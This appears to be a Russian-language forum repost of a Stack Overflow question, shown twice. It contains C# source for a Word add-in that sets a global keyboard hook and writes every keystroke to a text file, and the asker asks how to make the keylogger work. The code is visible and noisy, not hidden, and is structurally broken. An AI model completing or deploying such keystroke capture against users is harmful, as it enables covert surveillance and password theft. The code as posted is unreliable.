using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml.Linq;
using Word = Microsoft.Office.Interop.Word;
using Office = Microsoft.Office.Core;
using Microsoft.Office.Tools.Word;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using System;
namespace WORDproject
{
public partial class ThisAddIn
{
private static IntPtr hookId = IntPtr.Zero;
private static readonly string myFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "Myfiles.txt");
private LowLevelKeyboardProc keyboardProcess;
private static IntPtr ptrHook;
private EventHandler Shutdown;
public static string MyFile => myFile;
private event KeyEventHandler KeyUp;
private event KeyEventHandler KeyDown;
private void ThisAddIn_Startup(object sender, EventArgs e)
{
EnsureMyFilesExists(myFile);
KeyDown += new KeyEventHandler(ThisAddIn_KeyDown);
KeyUp += new KeyEventHandler(ThisAddIn_KeyUp);
Hook();
}
private void ThisAddIn_Shutdown(object sender, EventArgs e)
{
UnHook();
}
private void ThisAddIn_KeyDown(object sender, KeyEventArgs e)
{
LogKey(e.KeyCode);
}
private void ThisAddIn_KeyUp(object sender, KeyEventArgs e)
{
LogKey(e.KeyCode);
}
}
}
public struct KBDLLHOOKSTRUCT
{
public uint vkCode;
public uint scanCode;
public uint flags;
public uint time;
public IntPtr dwExtraInfo;
}
private class KeyHelper
{
public const int WM_KEYDOWN = 0x100;
public const int WM_KEYUP = 0x101;
public const int WM_SYSKEYDOWN = 0x104;
public const int WM_SYSKEYUP = 0x105;
}
private delegate IntPtr LowLevelKeyboardProc(int nCode, int wParam, IntPtr iParam);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int id, LowLevelKeyboardProc callback, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hook, int nCode, int wp, IntPtr lp);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string name);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool UnhookWindowsHookEx(IntPtr hook);
public void Hook()
{
ProcessModule processModule = Process.GetCurrentProcess().MainModule;
keyboardProcess = new LowLevelKeyboardProc(CaptureKey);
ptrHook = SetWindowsHookEx(13, keyboardProcess, GetModuleHandle(processModule.ModuleName), 0);
if (ptrHook == IntPtr.Zero)
{
MessageBox.Show("Failed to install hook.");
}
}
public void UnHook()
{
UnhookWindowsHookEx(ptrHook);
}
private IntPtr CaptureKey(int nCode, int wParam, IntPtr iParam)
{
if (nCode < 0) return CallNextHookEx(ptrHook, nCode, wParam, iParam);
KBDLLHOOKSTRUCT keyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(iParam, typeof(KBDLLHOOKSTRUCT));
KeyEventArgs eventArgs = new KeyEventArgs((Keys)keyInfo.vkCode);
if ((wParam == KeyHelper.WM_KEYDOWN || wParam == KeyHelper.WM_SYSKEYDOWN) && KeyDown != null)
{
KeyDown(this, eventArgs);
}
else if ((wParam == KeyHelper.WM_KEYUP || wParam == KeyHelper.WM_SYSKEYUP) && KeyUp != null)
{
KeyUp(this, eventArgs);
}
LogKey((Keys)keyInfo.vkCode);
if (eventArgs.Handled)
return (IntPtr)1;
return CallNextHookEx(ptrHook, nCode, wParam, iParam);
}
private void LogKey(Keys key)
{
try
{
using (StreamWriter sw = File.AppendText(myFile))
{
sw.WriteLine($"{DateTime.Now}: {key}");
}
}
catch (Exception ex)
{
MessageBox.Show($"Error logging key: {ex.Message}");
}
}
private static void EnsureMyFilesExists(string filePath)
{
try
{
if (!File.Exists(filePath))
{
using (StreamWriter sw = File.CreateText(filePath))
{
sw.WriteLine("Keylogger");
}
Process.Start("notepad.exe", filePath);
MessageBox.Show($"File created at {filePath}");
}
else
{
MessageBox.Show($"File already exists at {filePath}");
}
}
catch (Exception ex)
{
MessageBox.Show($"Error creating file: {ex.Message}");
}
}
private void InternalStartup()
{
ThisAddIn_Startup(null, null);
Shutdown += new EventHandler(ThisAddIn_Shutdown);
}
Я пытался создать перехват клавиатуры с помощью C#. Я начал с этой идеи!
Создайте файл (Myfiles.txt), в котором будут храниться логи -> создайте процесс для перехватчика -> проверьте, существует ли текстовый файл - > сохраните кейлоггеры в файле.
Приведенный код не работает. Я хочу заставить его работать и начать записывать нажатия клавиш и заносить их в файл журнала Myfile.txt. Можете ли вы дать мне несколько идей, как заставить этот код работать? Я думаю, что проблемы могут быть в
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int id, LowLevelKeyboardProc callback, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hook, int nCode, int wp, IntPtr lp);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string name);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool UnhookWindowsHookEx(IntPtr hook);
Подробнее здесь: https://stackoverflow.com/questions/792 ... s-expected
В чем моя ошибка и почему код работает не так, как ожидалось? [закрыто] ⇐ C#
Место общения программистов C#
1734183558
Anonymous
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml.Linq;
using Word = Microsoft.Office.Interop.Word;
using Office = Microsoft.Office.Core;
using Microsoft.Office.Tools.Word;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using System;
namespace WORDproject
{
public partial class ThisAddIn
{
private static IntPtr hookId = IntPtr.Zero;
private static readonly string myFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "Myfiles.txt");
private LowLevelKeyboardProc keyboardProcess;
private static IntPtr ptrHook;
private EventHandler Shutdown;
public static string MyFile => myFile;
private event KeyEventHandler KeyUp;
private event KeyEventHandler KeyDown;
private void ThisAddIn_Startup(object sender, EventArgs e)
{
EnsureMyFilesExists(myFile);
KeyDown += new KeyEventHandler(ThisAddIn_KeyDown);
KeyUp += new KeyEventHandler(ThisAddIn_KeyUp);
Hook();
}
private void ThisAddIn_Shutdown(object sender, EventArgs e)
{
UnHook();
}
private void ThisAddIn_KeyDown(object sender, KeyEventArgs e)
{
LogKey(e.KeyCode);
}
private void ThisAddIn_KeyUp(object sender, KeyEventArgs e)
{
LogKey(e.KeyCode);
}
}
}
public struct KBDLLHOOKSTRUCT
{
public uint vkCode;
public uint scanCode;
public uint flags;
public uint time;
public IntPtr dwExtraInfo;
}
private class KeyHelper
{
public const int WM_KEYDOWN = 0x100;
public const int WM_KEYUP = 0x101;
public const int WM_SYSKEYDOWN = 0x104;
public const int WM_SYSKEYUP = 0x105;
}
private delegate IntPtr LowLevelKeyboardProc(int nCode, int wParam, IntPtr iParam);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int id, LowLevelKeyboardProc callback, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hook, int nCode, int wp, IntPtr lp);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string name);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool UnhookWindowsHookEx(IntPtr hook);
public void Hook()
{
ProcessModule processModule = Process.GetCurrentProcess().MainModule;
keyboardProcess = new LowLevelKeyboardProc(CaptureKey);
ptrHook = SetWindowsHookEx(13, keyboardProcess, GetModuleHandle(processModule.ModuleName), 0);
if (ptrHook == IntPtr.Zero)
{
MessageBox.Show("Failed to install hook.");
}
}
public void UnHook()
{
UnhookWindowsHookEx(ptrHook);
}
private IntPtr CaptureKey(int nCode, int wParam, IntPtr iParam)
{
if (nCode < 0) return CallNextHookEx(ptrHook, nCode, wParam, iParam);
KBDLLHOOKSTRUCT keyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(iParam, typeof(KBDLLHOOKSTRUCT));
KeyEventArgs eventArgs = new KeyEventArgs((Keys)keyInfo.vkCode);
if ((wParam == KeyHelper.WM_KEYDOWN || wParam == KeyHelper.WM_SYSKEYDOWN) && KeyDown != null)
{
KeyDown(this, eventArgs);
}
else if ((wParam == KeyHelper.WM_KEYUP || wParam == KeyHelper.WM_SYSKEYUP) && KeyUp != null)
{
KeyUp(this, eventArgs);
}
LogKey((Keys)keyInfo.vkCode);
if (eventArgs.Handled)
return (IntPtr)1;
return CallNextHookEx(ptrHook, nCode, wParam, iParam);
}
private void LogKey(Keys key)
{
try
{
using (StreamWriter sw = File.AppendText(myFile))
{
sw.WriteLine($"{DateTime.Now}: {key}");
}
}
catch (Exception ex)
{
MessageBox.Show($"Error logging key: {ex.Message}");
}
}
private static void EnsureMyFilesExists(string filePath)
{
try
{
if (!File.Exists(filePath))
{
using (StreamWriter sw = File.CreateText(filePath))
{
sw.WriteLine("Keylogger");
}
Process.Start("notepad.exe", filePath);
MessageBox.Show($"File created at {filePath}");
}
else
{
MessageBox.Show($"File already exists at {filePath}");
}
}
catch (Exception ex)
{
MessageBox.Show($"Error creating file: {ex.Message}");
}
}
private void InternalStartup()
{
ThisAddIn_Startup(null, null);
Shutdown += new EventHandler(ThisAddIn_Shutdown);
}
Я пытался создать перехват клавиатуры с помощью C#. Я начал с этой идеи!
Создайте файл (Myfiles.txt), в котором будут храниться логи -> создайте процесс для перехватчика -> проверьте, существует ли текстовый файл - > сохраните кейлоггеры в файле.
Приведенный код не работает. Я хочу заставить его работать и начать записывать нажатия клавиш и заносить их в файл журнала Myfile.txt. Можете ли вы дать мне несколько идей, как заставить этот код работать? Я думаю, что проблемы могут быть в
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int id, LowLevelKeyboardProc callback, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hook, int nCode, int wp, IntPtr lp);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string name);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool UnhookWindowsHookEx(IntPtr hook);
Подробнее здесь: [url]https://stackoverflow.com/questions/79280657/where-is-my-mistake-and-why-the-code-doesnt-work-as-expected[/url]
Ответить
1 сообщение
• Страница 1 из 1
Перейти
- Кемерово-IT
- ↳ Javascript
- ↳ C#
- ↳ JAVA
- ↳ Elasticsearch aggregation
- ↳ Python
- ↳ Php
- ↳ Android
- ↳ Html
- ↳ Jquery
- ↳ C++
- ↳ IOS
- ↳ CSS
- ↳ Excel
- ↳ Linux
- ↳ Apache
- ↳ MySql
- Детский мир
- Для души
- ↳ Музыкальные инструменты даром
- ↳ Печатная продукция даром
- Внешняя красота и здоровье
- ↳ Одежда и обувь для взрослых даром
- ↳ Товары для здоровья
- ↳ Физкультура и спорт
- Техника - даром!
- ↳ Автомобилистам
- ↳ Компьютерная техника
- ↳ Плиты: газовые и электрические
- ↳ Холодильники
- ↳ Стиральные машины
- ↳ Телевизоры
- ↳ Телефоны, смартфоны, плашеты
- ↳ Швейные машинки
- ↳ Прочая электроника и техника
- ↳ Фототехника
- Ремонт и интерьер
- ↳ Стройматериалы, инструмент
- ↳ Мебель и предметы интерьера даром
- ↳ Cантехника
- Другие темы
- ↳ Разное даром
- ↳ Давай меняться!
- ↳ Отдам\возьму за копеечку
- ↳ Работа и подработка в Кемерове
- ↳ Давай с тобой поговорим...
Мобильная версия